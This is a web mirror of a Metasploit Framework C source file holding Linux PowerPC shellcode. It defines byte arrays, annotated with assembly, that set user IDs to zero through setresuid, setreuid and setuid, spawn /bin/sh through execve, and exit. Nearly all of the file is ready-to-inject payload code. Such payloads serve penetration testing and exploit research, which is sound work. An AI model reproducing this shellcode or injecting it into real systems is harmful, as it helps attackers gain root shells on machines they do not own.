CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-shellcode.c
Views: 11766
1
/*
2
* lin-power-shellcode.c
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
char setresuidcode[]= /* 24 bytes */
22
"\x3b\xe0\x01\xff" /* li r31,511 */
23
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
24
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
25
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
26
"\x38\x1f\xfe\xa5" /* addi r0,r31,-347 */
27
"\x44\xff\xff\x02" /* sc */
28
;
29
30
char setreuidcode[]= /* 20 bytes */
31
"\x3b\xe0\x01\xff" /* li r31,511 */
32
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
33
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
34
"\x38\x1f\xfe\x47" /* addi r0,r31,-441 */
35
"\x44\xff\xff\x02" /* sc */
36
;
37
38
char setuidcode[]= /* 16 bytes */
39
"\x3b\xe0\x01\xff" /* li r31,511 */
40
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
41
"\x38\x1f\xfe\x18" /* addi r0,r31,-488 */
42
"\x44\xff\xff\x02" /* sc */
43
;
44
45
char shellcode[]= /* 55 bytes */
46
"\x3b\xe0\x01\xff" /* li r31,511 */
47
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
48
"\x40\x82\xff\xf9" /* bnel+ <shellcode> */
49
"\x7f\xc8\x02\xa6" /* mflr r30 */
50
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
51
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
52
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
53
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
54
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
55
"\x7c\x24\x0b\x78" /* mr r4,r1 */
56
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
57
"\x44\xff\xff\x02" /* sc */
58
"/bin/sh"
59
;
60
61
char exitcode[]= /* 16 bytes */
62
"\x3b\xe0\x01\xff" /* li r31,511 */
63
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
64
"\x38\x1f\xfe\x02" /* addi r0,r31,-510 */
65
"\x44\xff\xff\x02" /* sc */
66
;
67
68
69